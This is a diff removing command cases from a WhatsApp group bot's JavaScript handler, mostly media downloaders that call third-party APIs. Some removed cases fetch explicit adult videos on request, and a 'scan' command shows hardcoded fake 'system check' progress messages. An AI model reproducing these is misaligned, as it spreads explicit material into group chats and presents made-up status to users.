-`.trim())
- conn.sendMessage(m.chat, {
- text: text,
- mentions: [...groupAdmins.map(v => v.id), owner]
- }, {
- quoted: m
- })
- }
- break;
- case 'setnamegc':
- case 'setgcname': {
- if (!isGroup) return reply(mess.only.group);
- if (!isGroupAdmins) return reply(mess.only.admin);
- if (!isBotGroupAdmins) return reply(mess.only.Badmin);
- if (!q || q.trim().length === 0) return reply(`Usage: ${command} `);
-
- await conn.groupUpdateSubject(from, q)
- .then(() => {
- reply(mess.success);
- })
- .catch(() => {
- reply(mess.error.api);
- });
- break;
- }
- case 'animedl': {
- if (!q.includes('|')) return conn.sendMessage(m.chat, {
- text: `\`Invalid format\`\nExample: *${prefix + command} solo leveling|1*`
- });
-
- await loading();
-
- try {
- let [anime, episode] = q.split('|').map(x => x.trim());
- let apiUrl = `https://api-xx-xi.hf.space/api/animedl?name=${encodeURIComponent(anime)}&episode=${encodeURIComponent(episode)}`;
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.downloadLinks.length) {
- return conn.sendMessage(m.chat, {
- text: `โ *No download links found for ${anime} Episode ${episode}*`
- });
- }
-
- function parseSize(size) {
- let match = size.match(/([\d.]+)\s*(MB|GB)/i);
- if (!match) return Infinity;
- let value = parseFloat(match[1]);
- return match[2].toLowerCase() === 'gb' ? value * 1024 : value;
- }
-
- let bestMatch = json.downloadLinks.reduce((prev, curr) => {
- return Math.abs(parseSize(curr.size) - 100) < Math.abs(parseSize(prev.size) - 100) ? curr : prev;
- });
-
- let {
- link,
- size
- } = bestMatch;
-
- conn.sendMessage(m.chat, {
- text: `๐ฅ *Downloading ${anime} Episode ${episode}*\n๐ฆ *Size:* ${size}`
- });
-
- await conn.sendMessage(m.chat, {
- document: {
- url: link
- },
- mimetype: 'video/mp4',
- fileName: `${anime} - Episode ${episode}.mp4`,
- caption: fontx(`๐ฌ *${anime} - Episode ${episode}*\n๐ฅ *Size:* ${size}`)
- });
-
- } catch (error) {
- console.error("Error in animedl case:", error);
- conn.sendMessage(m.chat, {
- text: "โ An error occurred while fetching the anime. Please try again later."
- });
- }
- break;
- }
-case 'play':
- case 'songs': {
- if (!text) {
- return reply(`\`No music title detected.\`\n*Example: ${prefix + command} Alan Walker - Faded*`);
- }
-
- try {
- await loading();
- let search = await yts(text);
- let video = search.videos[0];
- if (!video) {
- return reply("No results found for the provided query.");
- }
-
- let {
- title,
- timestamp,
- views,
- ago,
- url,
- thumbnail
- } = video;
-
- await conn.sendMessage(m.chat, {
- image: {
- url: thumbnail
- },
- caption: fontx(`๐ถ *title:* ${title}\n๐๏ธ *views:* ${views}\nโฑ๏ธ *duration:* ${timestamp}\n๐
*uploaded:* ${ago}\n๐`) + (` *url:* ${url}\n`) + fontx(`\n> ${caption}`),
- });
- let apiUrl = `https://apis.davidcyriltech.my.id/download/ytmp3?url=${encodeURIComponent(url)}`;
- let res;
-
- try {
- res = await fetch(apiUrl);
- } catch (fetchError) {
- console.error("Error fetching API:", fetchError);
- return reply("Failed to fetch audio. Please check your connection and try again.");
- }
-
- let json;
- try {
- json = await res.json();
- } catch (jsonError) {
- console.error("Error parsing JSON:", jsonError);
- return reply("Failed to process API response. Please try again later.");
- }
-
- // Validate API response
- if (!json.success || !json.result || !json.result.download_url) {
- return reply("Failed to fetch audio. Please try again later.");
- }
-
- let {
- download_url,
- title: audioTitle,
- quality
- } = json.result;
-
- await conn.sendMessage(m.chat, {
- audio: {
- url: download_url
- },
- mimetype: "audio/mp4",
- fileName: `${audioTitle} (${quality}).mp3`,
- caption: `๐ถ *Title:* ${audioTitle}\n๐ *Quality:* ${quality}\n๐ฅ *Downloaded successfully!*`,
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in play case:", error);
- reply("An unexpected error occurred while processing your request. Please try again later.");
- }
- break;
- }
- case 'video': {
- if (!text) {
- return reply(`\`No video title detected.\`\n*Example: ${prefix + command} Alan Walker - Faded*`);
- }
-
- try {
- await loading();
-
- let search = await yts(text);
- let video = search.videos[0];
- if (!video) {
- return conn.sendMessage(m.chat, {
- text: "No results found for the provided query."
- }, {
- quoted: m
- });
- }
-
- let {
- title,
- timestamp,
- views,
- ago,
- url,
- thumbnail
- } = video;
-
- await conn.sendMessage(m.chat, {
- image: {
- url: thumbnail
- },
- caption: fontx(`๐ฌ *Title:* ${title}\nfound sending, a sec\n> ${caption}`),
- }, {
- quoted: m
- });
-
- let apiUrl = `https://apis.davidcyriltech.my.id/download/ytmp4?url=${encodeURIComponent(url)}`;
- let res = await fetch(apiUrl);
- let json = await res.json();
-
- if (!json.success || !json.result || !json.result.download_url) {
- return conn.sendMessage(m.chat, {
- text: "Failed to fetch video. Please try again later."
- }, {
- quoted: m
- });
- }
-
- let {
- download_url,
- title: videoTitle,
- quality
- } = json.result;
-
- await conn.sendMessage(m.chat, {
- video: {
- url: download_url
- },
- caption: fontx(`> ${caption}`),
- mimetype: 'video/mp4'
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in video case:", error);
- conn.sendMessage(m.chat, {
- text: "An unexpected error occurred while processing your request. Please try again later."
- }, {
- quoted: m
- });
- }
-
- break;
- }
- case 'ytmp4': {
- if (!q) {
- return reply(`\`No YouTube link detected\`\n*Example: ${prefix + command} https://youtube.com/watch?v=wKfNaV-su-M*`)
- }
-
- await loading();
-
- try {
- const response = await fetch(`https://apis.davidcyriltech.my.id/download/ytmp4?url=${encodeURIComponent(q)}`);
- const json = await response.json();
-
- if (!json.success || !json.result) {
- return conn.sendMessage(m.chat, {
- text: "Failed to fetch the video. Ensure the link is valid and try again."
- }, {
- quoted: m
- });
- }
-
- const {
- quality,
- title,
- thumbnail,
- download_url
- } = json.result;
-
- const captionText = fontx(`video found sending, a sec`);
-
- await conn.sendMessage(m.chat, {
- image: {
- url: thumbnail
- },
- caption: captionText
- }, {
- quoted: m
- });
-
- await conn.sendMessage(m.chat, {
- video: {
- url: download_url
- },
- caption: fontx(`๐ฌ *${title}*\n๐น Quality: ${quality}`),
- mimetype: 'video/mp4'
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in ytmp4 case:", error);
- conn.sendMessage(m.chat, {
- text: "An error occurred while processing your request. Please try again later."
- }, {
- quoted: m
- });
- }
-
- break;
- }
- case 'ytmp3': {
- if (!q) {
- return reply(`\`No YouTube link detected\`\n*Example: ${prefix + command} https://youtube.com/watch?v=wKfNaV-su-M*`)
- }
-
- await loading();
-
- try {
- const response = await fetch(`https://apis.davidcyriltech.my.id/download/ytmp3?url=${encodeURIComponent(q)}`);
- const json = await response.json();
-
- if (!json.success || !json.result) {
- return conn.sendMessage(m.chat, {
- text: "Failed to fetch the audio. Ensure the link is valid and try again."
- }, {
- quoted: m
- });
- }
-
- const {
- quality,
- title,
- thumbnail,
- download_url
- } = json.result;
-
- const captionText = fontx(`audio found sending, a sec`);
-
- await conn.sendMessage(m.chat, {
- image: {
- url: thumbnail
- },
- caption: captionText
- }, {
- quoted: m
- });
-
- await conn.sendMessage(m.chat, {
- audio: {
- url: download_url
- },
- mimetype: 'audio/mpeg',
- fileName: `${title}.mp3`
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in ytmp3 case:", error);
- conn.sendMessage(m.chat, {
- text: "An error occurred while processing your request. Please try again later."
- }, {
- quoted: m
- });
- }
-
- break;
- }
- case 'yts': {
- if (!q) return reply("Please provide a search query.");
- await loading()
-
- try {
- const searchResults = await yts(q);
- const videoResults = searchResults.all.filter((v) => v.type === 'video');
- if (!videoResults || videoResults.length === 0) return reply("No videos found.");
-
- const videoID = videoResults[0].videoId;
- const thumbnail = `https://i.ytimg.com/vi/${videoID}/mqdefault.jpg`;
-
- let responseMessage = `๐ *YouTube Search Results:*\n`;
- for (let video of videoResults) {
- responseMessage += `
-๐ *Title:* ${video.title}
-๐ *Views:* ${video.views}
-๐
*Uploaded:* ${video.ago}
-โฑ๏ธ *Duration:* ${video.timestamp}
-๐ฅ *Channel:* ${video.author.name}
-๐ *Link:* ${video.url}\n\n`;
- }
- await conn.sendMessage(
- from, {
- caption: responseMessage.trim(),
- image: {
- url: thumbnail
- },
- }, {
- quoted: dev
- }
- );
- } catch (error) {
- console.error(error);
- reply("An error occurred while fetching the YouTube search results.");
- }
- break;
- }
- case 'nsfw': {
- if (!isGroup) return reply(mess.only.group)
- if (!isGroupAdmins && !isOwner) return reply(mess.only.admin)
- if (args.length < 1) return reply('Enable or disable? Use: แดษด/แด๊ฐ๊ฐ')
- if (args[0] === 'on') {
- db.data.chats[from].nsfw = true
- reply(`${command} has been enabled in this group`)
- let warning = fontx(`
- *ใ โ ๏ธ ๐๐๐๐๐๐๐ โ ๏ธ ใ*\nThe NSFW (Not Safe For Work) feature has been activated in this group. As a result, explicit content may be accessible through the bot. Please proceed with caution and ensure compliance with community guidelines.
-`)
- m.reply(warning)
- } else if (args[0] === 'off') {
- db.data.chats[from].nsfw = false
- reply(`${command} has been disabled in this group`)
- }
- }
- break
-case 'waifu': {
- if (isGroup && !isAntiNsfw) return reply(mess.nsfw);
-await loading();
- let query = q ? encodeURIComponent(q) : 'random';
- let apiUrl = `https://api-xx-xi.hf.space/api/waifu?q=${query}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.images.length) {
- return conn.sendMessage(m.chat, { text: fontx(`โ No waifu images found for *${query}*. Try another category!`) });
- }
-
- let randomImage = json.images[Math.floor(Math.random() * json.images.length)];
-
- await conn.sendMessage(m.chat, {
- image: { url: randomImage },
- caption: fontx(`๐ผ๏ธ *Waifu Image*\n๐ *Category:* ${json.category}`)
- });
-
- } catch (error) {
- console.error("Error fetching waifu image:", error);
- conn.sendMessage(m.chat, { text: fontx("โ An error occurred while fetching the waifu image.") });
- }
- break;
-}
-case 'hentai': {
- if (isGroup && !isAntiNsfw) return reply(mess.nsfw);
-await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/hentai`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.videoUrl) {
- return conn.sendMessage(m.chat, { text: fontx(`โ No hentai content found. Try again later!`) });
- }
-
- await conn.sendMessage(m.chat, {
- video: { url: json.videoUrl },
- mimetype: "video/mp4",
- fileName: `${json.title}.mp4`,
- caption: fontx(`๐ *${json.title}*\n> ${caption}`)
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching hentai content:", error);
- conn.sendMessage(m.chat, { text: fontx("โ An error occurred while fetching the hentai video.") });
- }
- break;
-}
-case 'xxxsearch': {
- if (isGroup && !isAntiNsfw) return reply(mess.nsfw);
- if (!q) return reply("โ Please enter a search query.\nExample: `.xxxsearch big ass`");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/xxxsearch?q=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- if (!response.ok) throw new Error(`API responded with ${response.status}`);
-
- let json = await response.json();
- if (!json.success || !json.videoUrl) {
- return conn.sendMessage(m.chat, { text: fontx(`โ No results found for *${q}*.`) });
- }
-
- await conn.sendMessage(m.chat, {
- video: { url: json.videoUrl },
- caption: fontx(`๐ฅ *${json.videoTitle}*\n> ${caption}`)
- });
-
- } catch (error) {
- console.error("โ Error fetching XXX video:", error);
- conn.sendMessage(m.chat, { text: fontx("โ Failed to fetch video. Try again later.") });
- }
- break;
-}
-case 'xxxdl': {
- if (isGroup && !isAntiNsfw) return reply(mess.nsfw);
- if (!q) return reply("โ Please provide a valid *XVideos* link.\nExample: `.xxxdl https://www.xvideos.com/`");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/xvideos?url=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- if (!response.ok) throw new Error(`API responded with ${response.status}`);
-
- let json = await response.json();
- if (!json.success || !json.videoUrl) {
- return reply("โ No video found for the provided link.");
- }
-
- await conn.sendMessage(m.chat, {
- video: { url: json.videoUrl },
- caption: `๐ฅ *${json.title}*\n> ${caption}`
- });
-
- } catch (error) {
- console.error("โ Error fetching XXX video:", error);
- reply("โ Failed to fetch video. Try again later.");
- }
- break;
-}
-case 'cecan-china':
-case 'cecan-korea':
-case 'cecan-thailand':
-case 'cecan-vietnam':
-case 'cecan-indo':
-case 'cecan-japan': {
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/${command}`;
-
- try {
- await conn.sendMessage(m.chat, {
- image: { url: apiUrl },
- caption: fontx(`๐ธ *cecan ${command.replace('cecan-', '').toUpperCase()}*\n> ${caption}`)
- });
-
- } catch (error) {
- console.error("โ Error fetching Cecan image:", error);
- reply("โ Failed to fetch image. Try again later.");
- }
- break;
-}
-case 'alive': {
- await loading();
-
- const quote = "i refuse to be weak. i reject death. i am the one who goes forward, who slays, who reigns over shadows... *i am alive.*";
- const imageUrl = "https://huggingface.co/spaces/API-XX/TEST/resolve/main/Links/Leonardo_Phoenix_10_Animestyle_male_character_standing_confide_3.jpg";
-
- await conn.sendMessage(m.chat, {
- image: { url: imageUrl },
- caption: fontx(`${quote}\n\n๐ค creator: blue demon\nโณ runtime: ${runtime(process.uptime())}\n> ${caption}`)
- }, { quoted: m });
-
- break;
-}
-case 'scan': {
- try {
- await loading();
-
- const checkForUpdates = async () => {
- let filesToCheck = [
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/case.js', path: './message/case.js', name: 'case.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/links.js', path: './temp/media/links.js', name: 'links.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/group.js', path: './message/group.js', name: 'group.js' },
- { url: 'https://huggingface.co/spaces/API-XX/TEST/raw/main/message.js', path: './message/message.js', name: 'message.js' }
- ];
-
- let updatesAvailable = false;
- for (let file of filesToCheck) {
- let oldSize = fs.existsSync(file.path) ? fs.statSync(file.path).size : 0;
- let response = await fetch(file.url);
- if (!response.ok) continue;
-
- let newContent = await response.text();
- let newSize = Buffer.byteLength(newContent, 'utf8');
- if (newSize > oldSize) {
- updatesAvailable = true;
- break;
- }
- }
- return updatesAvailable;
- };
-
- const updatesAvailable = await checkForUpdates();
- const updateStatus = updatesAvailable
- ? fontx(`๐ *Update Available! Use .update*`)
- : fontx(`โ
*No Updates Found*`);
-
- const animations = [
- fontx(`๐ป *System Check Initiated...*\n> ${caption}`),
- fontx(`๐ *Loading Modules...*\n> ${caption}`),
- fontx(`โ
*Module: Messaging [OK]*`),
- fontx(`โ
*Module: Connectivity [OK]*`),
- fontx(`โ
*Module: AI Responses [OK]*`),
- fontx(`๐ *Scanning for Updates...*`),
- updateStatus,
- fontx(`๐ *System Optimization: 87% Complete...*`),
- fontx(`โ
*System Optimization: Complete*`),
- fontx(`๐ก *Establishing Secure Connection...*`),
- fontx(`โ
*Connection Established Successfully*`),
- fontx(`๐ *Ready for Commands!*\n> ${caption}`)
- ];
-
- const initialMessage = await conn.sendMessage(m.chat, { text: animations[0] }, { quoted: m });
-
- let currentIndex = 1;
- const animationInterval = setInterval(async () => {
- if (currentIndex >= animations.length) {
- clearInterval(animationInterval);
- } else {
- try {
- await conn.sendMessage(m.chat, { edit: initialMessage.key, text: animations[currentIndex] });
- currentIndex++;
- } catch (err) {
- console.error("Error editing alive animation:", err);
- clearInterval(animationInterval);
- }
- }
- }, 2000);
-
- } catch (err) {
- console.error("Error in alive case:", err);
- reply(fontx("โ An error occurred while processing your request."));
- }
- break;
-}
- case 'aza':
- case 'pay':
- case 'acc': {
- reply(
- `๐ณ *Banking Details* ๐ณ\n\n๐ฆ *Bank Name:* *${bank}*\n๐ข *Acc Number:* *${accnumber}*\n๐ค *Acc Name:* *${bankname}*`
- );
- break;
- }
-case 'tiktok':
-case 'tt': {
- if (!q) return reply("โ Please provide a TikTok link.");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/tkdl?url=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.download_links.no_watermark) {
- return reply("โ Failed to download the TikTok video. Please check the link and try again.");
- }
-
- await conn.sendMessage(m.chat, {
- video: { url: json.download_links.no_watermark },
- caption: fontx(`๐ต *TikTok Video Downloaded!*\n\n๐ *Description:* ${json.description}\n> ${caption}`)
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in TikTok download case:", error);
- reply("โ An error occurred while processing your request.");
- }
- break;
-}
-case 'tiktokaud':
-case 'ttaud': {
- if (!q) return reply("โ Please provide a TikTok link.");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/tkdl?url=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.download_links.mp3) {
- return reply("โ Failed to download the TikTok audio. Please check the link and try again.");
- }
-
- await conn.sendMessage(m.chat, {
- audio: { url: json.download_links.mp3 },
- mimetype: 'audio/mpeg',
- fileName: `tiktok_audio.mp3`,
- caption: fontx(`๐ถ *TikTok Audio Downloaded!*\n\n๐ *Description:* ${json.description}\n> ${caption}`)
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in TikTok audio download case:", error);
- reply("โ An error occurred while processing your request.");
- }
- break;
-}
-case 'all-in-one': case 'aio': case 'instagram': case 'facebook': case 'fb': case 'tiktok2': case 'twitter': {
- if (!q) return reply("โ Please provide a valid video link.");
-
- await loading();
- let apiUrl = `https://bk9.fun/download/alldownload?url=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.BK9.high) {
- return reply("โ Failed to download the video. Please check the link and try again.");
- }
-
- await conn.sendMessage(m.chat, {
- video: { url: json.BK9.high },
- caption: fontx(`๐ฅ *Video Downloaded!*\n\n๐ *Title:* ${json.BK9.title}\n> ${caption}`)
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error in all-in-one video download case:", error);
- reply("โ An error occurred while processing your request.");
- }
- break;
-}
- case 'sound1':
- case 'sound2':
- case 'sound3':
- case 'sound4':
- case 'sound5':
- case 'sound6':
- case 'sound7':
- case 'sound8':
- case 'sound9':
- case 'sound10':
- case 'sound11':
- case 'sound12':
- case 'sound13':
- case 'sound14':
- case 'sound15':
- case 'sound16':
- case 'sound17':
- case 'sound18':
- case 'sound19':
- case 'sound20':
- case 'sound21':
- case 'sound22':
- case 'sound23':
- case 'sound24':
- case 'sound25':
- case 'sound26':
- case 'sound27':
- case 'sound28':
- case 'sound29':
- case 'sound30':
- case 'sound31':
- case 'sound32':
- case 'sound33':
- case 'sound34':
- case 'sound35':
- case 'sound36':
- case 'sound37':
- case 'sound38':
- case 'sound39':
- case 'sound40':
- case 'sound41':
- case 'sound42':
- case 'sound43':
- case 'sound44':
- case 'sound45':
- case 'sound46':
- case 'sound47':
- case 'sound48':
- case 'sound49':
- case 'sound50':
- case 'sound51':
- case 'sound52':
- case 'sound53':
- case 'sound54':
- case 'sound55':
- case 'sound56':
- case 'sound57':
- case 'sound58':
- case 'sound59':
- case 'sound60':
- case 'sound61':
- case 'sound62':
- case 'sound63':
- case 'sound64':
- case 'sound65':
- case 'sound66':
- case 'sound67':
- case 'sound68':
- case 'sound69':
- case 'sound70':
- case 'sound71':
- case 'sound72':
- case 'sound73':
- case 'sound74':
- case 'sound75':
- case 'sound76':
- case 'sound77':
- case 'sound78':
- case 'sound79':
- case 'sound80':
- case 'sound81':
- case 'sound82':
- case 'sound83':
- case 'sound84':
- case 'sound85':
- case 'sound86':
- case 'sound87':
- case 'sound88':
- case 'sound89':
- case 'sound90':
- case 'sound91':
- case 'sound92':
- case 'sound93':
- case 'sound94':
- case 'sound95': {
- try {
- await loading();
-
- const url = `https://github.com/anonphoenix007/phonk-api/raw/main/all/${command}.mp3`;
- const reslt = await getBuffer(url);
- await conn.sendMessage(m.chat, {
- audio: reslt,
- mimetype: 'audio/mp4',
- ptt: true
- }, {
- quoted: m
- });
- await conn.sendMessage(m.chat, {
- text: fontx(`> ${caption}`)
- }, {
- quoted: m
- });
- } catch (error) {
- console.error(`Error in ${command} case:`, error);
- reply("An error occurred while processing your request. Please try again later.");
- }
- break;
- }
-case 'apk': case 'app': {
- if (!q) return reply("โ Please provide the name of an app to download.\n\nExample: *.apk Facebook*");
-
- await loading();
- let apiUrl = `https://bk9.fun/download/apk?id=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.status || !json.BK9.dllink) {
- return reply("โ APK not found. Please check the app name and try again.");
- }
- await conn.sendMessage(m.chat, {
- image: { url: json.BK9.icon },
- caption: fontx(`๐ฒ *APK Download*\n\n๐ *Name:* ${json.BK9.name}\n๐ฆ *Package:* ${json.BK9.package}\n๐
*Last Updated:* ${json.BK9.lastup}\n\n๐ฅ *Downloading file...*`)
- }, { quoted: m });
- await conn.sendMessage(m.chat, {
- document: { url: json.BK9.dllink },
- mimetype: 'application/vnd.android.package-archive',
- fileName: `${json.BK9.name}.apk`,
- caption: fontx(`โ
*${json.BK9.name} APK downloaded successfully!*`)
- });
-
- } catch (error) {
- console.error("Error in APK download case:", error);
- reply("โ An error occurred while processing your request.");
- }
- break;
-}
-case 'apkfab': {
- if (!q) {
- return reply(`*\`Please provide an APK URL.\`*\n*Example: ${prefix + command} apkfab-link*`);
- }
-
- try {
- await loading();
- const apiUrl = `https://bk9.fun/download/apkfab?url=${encodeURIComponent(q)}`;
- const response = await fetch(apiUrl);
- const res = await response.json();
- if (!res.status || !res.BK9) {
- return reply("Failed to fetch APK details. Please try again later.");
- }
- const {
- title,
- link,
- size
- } = res.BK9;
- await conn.sendMessage(m.chat, {
- text: fontx(`๐ฅ๏ธ *APK Details:*\n\n๐ *Title: ${title}*\n๐ฆ *Size:* ${size || 'Unknown'}\nMay take few minutes๐\n> ${caption}`),
- }, {
- quoted: m
- });
- await conn.sendMessage(m.chat, {
- document: {
- url: link
- },
- mimetype: "application/octet-stream",
- fileName: `${title}.apk`,
- caption: `๐ฅ *APK Download: ${title}*`
- }, {
- quoted: m
- });
-
- } catch (error) {
- console.error("Error in APKFab case:", error);
- reply("An error occurred while processing your request. Please try again later.");
- }
- break;
- }
-case 'gitclone': case 'githubdl': {
- if (!q || !q.includes("github.com")) {
- return reply("โ Please provide a valid GitHub repository link.\n\nExample: *!gitclone https://github.com/user/repository*");
- }
-
- await loading();
-
- let repoUrl = q.trim().replace(/\/$/, '');
- let zipUrl = `${repoUrl}/archive/refs/heads/master.zip`;
-
- try {
- let response = await fetch(zipUrl);
- if (!response.ok) {
- return reply(`โ Failed to download repository.\n\n๐ *Repo:* ${repoUrl}\nโ ๏ธ *Error:* ${response.statusText}`);
- }
-
- let zipBuffer = await response.arrayBuffer();
-
- await conn.sendMessage(m.chat, {
- document: Buffer.from(zipBuffer),
- mimetype: "application/zip",
- fileName: `${repoUrl.split('/').pop()}-master.zip`,
- caption: fontx(`โ
*GitHub Repository Cloned!*\n\n๐ *Repository:* `) + repoUrl + fontx(`\n๐ฆ *Download:* Attached ZIP file.\n> ${caption}`)
- });
-
- } catch (error) {
- console.error("Error in gitclone case:", error);
- reply("โ An error occurred while processing your request.");
- }
- break;
-}
-case 'mediafire': {
- if (!q || !q.includes("mediafire.com")) {
- return reply("โ Please provide a valid MediaFire link.\n\nExample: *!mediafire https://www.mediafire.com/file/xyz123/file.zip/file*");
- }
-
- await loading();
-
- let apiUrl = `https://apis.davidcyriltech.my.id/mediafire?url=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.downloadLink) {
- return reply("โ Failed to retrieve the file from MediaFire.");
- }
-
- await conn.sendMessage(m.chat, {
- document: { url: json.downloadLink },
- mimetype: `application/${json.mimeType || "octet-stream"}`,
- fileName: json.fileName,
- caption: fontx(`โ
*MediaFire Download Complete!*\n\n๐ *File:* ${json.fileName}\n๐ฆ *Size:* ${json.size}\n> ${caption}`)
- });
-
- } catch (error) {
- console.error("Error in mediafire case:", error);
- reply("โ An error occurred while processing your request.");
- }
- break;
-}
- case 's':
- case 'sticker':
- case 'take': {
- if (!m.quoted) {
- return reeply(`*Reply to an image or video with the caption ${prefix + command}*\n> Video Duration: 1-9 Seconds`);
- }
- let mime = (m.quoted.msg || m.quoted).mimetype || '';
- try {
- if (/image/.test(mime)) {
- let media = await m.quoted.download();
- await conn.sendImageAsSticker(m.chat, media, m, {
- packname: fontx(caption) || 'Sticker Pack',
- author: fontx('blue demon') || 'Bot'
- });
- } else if (/video/.test(mime)) {
- if ((m.quoted.msg || m.quoted).seconds > 9) {
- return reply(`*Video duration must be 1-9 seconds!*\nReply to a shorter video with ${prefix + command}`);
- }
- let media = await m.quoted.download();
- await conn.sendVideoAsSticker(m.chat, media, m, {
- packname: fontx(caption) || 'Sticker Pack',
- author: fontx('blue demon') || 'Bot'
- });
- } else {
- reply(`*Unsupported media type!*\nReply to an image or video with the caption ${prefix + command}\n> Video Duration: 1-9 Seconds`);
- }
- } catch (err) {
- console.error('Error creating sticker:', err);
- reply(`Failed to create sticker. Please try again.`);
- }
- }
- break;
- case 'getjid': {
- reply(from)
- }
- break;
-case 'fancy': {
- if (!q) return reply("โ Please provide a text to convert.\n\nExample: *!fancy Blue Demon*");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/font?text=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.fancy_texts.length) {
- return reply("โ Failed to fetch fancy fonts. Please try again.");
- }
-
- let fancyTextList = json.fancy_texts.slice(0, 15).map((text, i) => `${i + 1}. *${text}*`).join("\n");
-
- conn.sendMessage(m.chat, {
- text: fontx(`๐จ *Fancy Text Generator*\n\n๐ *Original:* ${json.original_text}\n\n${fancyTextList}\n> ${caption}`),
- }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching fancy fonts:", error);
- reply("โ An error occurred while generating fancy text. Please try again later.");
- }
- break;
-}
-case 'join': {
- if (!isOwner) return reply(mess.only.owner);
- if (!text) return reply(`\`No Group link detected\`\n*Example: ${prefix + command} link*`);
- if (!isUrl(text) || !text.includes('chat.whatsapp.com')) return reply('`Invalid Link!`');
-
- const result = text.split('https://chat.whatsapp.com/')[1];
- await loading()
- try {
- await conn.groupAcceptInvite(result);
- } catch (error) { if (error.response) {
- switch (error.response.status) {
- case 400:
- return reply('Group Not Foundโ');
- case 401:
- return reply('Bot Kicked From The Groupโ');
- case 409:
- return reply('Bot Has Already Joined the Groupโ');
- case 410:
- return reply('Group URL Has Been Resetโ');
- case 500:
- return reply('Group Is Fullโ');
- default:
- return reply('An unknown error occurred.');
- }
- }
- reply('An unexpected error occurred.');
- }
- break;
- }
-case 'bible': {
- if (!q) return reply("โ Please provide a Bible verse reference.\n\nExample: *!bible John 3:16*");
-
- await loading();
- let apiUrl = `https://apis.davidcyriltech.my.id/bible?reference=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.text) {
- return reply("โ Verse not found. Please check the reference and try again.");
- }
-
- let bibleMessage = `๐ *Bible Verse*\n\n๐ *Reference:* ${json.reference}\n๐ *Translation:* ${json.translation}\n๐ข *Verses Count:* ${json.verses_count}\n\n๐๏ธ *${json.text.trim()}*\n> ${caption}`;
-
- conn.sendMessage(m.chat, { text: fontx(bibleMessage) }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching Bible verse:", error);
- reply("โ An error occurred while retrieving the Bible verse. Please try again later.");
- }
- break;
-}
-case 'lyrics': {
- if (!q) return reply("โ Please provide a song name.\n\nExample: *!lyrics Not Like Us*");
-
- await loading();
- let apiUrl = `https://api-xx-xi.hf.space/api/lyrics?q=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || !json.lyrics) {
- return reply("โ Lyrics not found. Please check the song name and try again.");
- }
-
- let lyricsMessage = `๐ต *Song Lyrics*\n\n๐ถ *Title:* ${json.song}\n\n๐ *Lyrics:*\n\n${json.lyrics}\n> ${caption}`;
-
- conn.sendMessage(m.chat, { text: fontx(lyricsMessage) }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching lyrics:", error);
- reply("โ An error occurred while retrieving the lyrics. Please try again later.");
- }
- break;
-}
-case 'spotify': {
- if (!q) return reply("โ Please provide a song name.\n\nExample: *!spotify Faded*");
-
- await loading();
- let apiUrl = `https://apis.davidcyriltech.my.id/search/spotify?text=${encodeURIComponent(q)}`;
-
- try {
- let response = await fetch(apiUrl);
- let json = await response.json();
-
- if (!json.success || json.result.length === 0) {
- return reply("โ No results found. Please check the song name and try again.");
- }
-
- let spotifyResults = fontx("๐ต *Spotify Search Results*\n\n");
-
- json.result.slice(0, 5).forEach((song, index) => {
- spotifyResults += fontx(`๐ถ *${song.trackName}*\n๐ค *Artist:* ${song.artistName}\n๐ฟ *Album:* ${song.albumName}\nโฑ๏ธ *Duration:* ${song.duration}\n๐ *Link:* `) + song.externalUrl + `\n\n`;
- });
-
- conn.sendMessage(m.chat, { text: spotifyResults }, { quoted: m });
-
- } catch (error) {
- console.error("Error fetching Spotify search results:", error);
- reply("โ An error occurred while retrieving the Spotify results. Please try again later.");
- }
- break;
-}
- case 'pinterest': {
- if (!q) return reply(`\`No search query detected\`.\n*Example: ${prefix + command} beautiful landscapes*`);
- await loading();
- try {
- const apiUrl = `https://www.bhandarimilan.info.np/pinterest?query=${encodeURIComponent(q)}`;
- const response = await fetch(apiUrl);
- const data = await response.json();
- if (!data || data.data.length === 0) {
- return reply("No results found. Please try with a different query.");
- }
- const images = data.data.slice(0, 5);
- for (let url of images) {
- await conn.sendMessage(m.chat, {
- image: {
- url
- },
